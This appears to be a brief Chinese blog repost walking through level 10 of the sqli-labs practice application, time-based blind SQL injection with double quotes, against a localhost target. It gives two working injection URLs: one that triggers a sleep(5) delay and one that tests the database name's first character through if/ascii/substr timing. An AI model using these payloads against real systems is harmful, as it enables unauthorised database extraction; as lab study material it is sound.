sqli-labs less10 GET - Blind - Time based. - Double quotes (基于时间的双引号盲注)

Posted 2020-10-21 superkrissv

tags:

篇首语：本文由小常识网(cha138.com)小编为大家整理，主要介绍了sqli-labs less10 GET - Blind - Time based. - Double quotes (基于时间的双引号盲注)相关的知识，希望对你有一定的参考价值。

这个和less9一样，单引号改完双引号就行了

http://localhost/sqli/Less-10/?id=1" and sleep(5)%23

5s后页面完成刷新

技术分享图片

http://localhost/sqli/Less-10/?id=1" and if(ascii(substr(database(),1,1))=115, 0, sleep(5))%23

技术分享图片

以上是关于sqli-labs less10 GET - Blind - Time based. - Double quotes (基于时间的双引号盲注)的主要内容，如果未能解决你的问题，请参考以下文章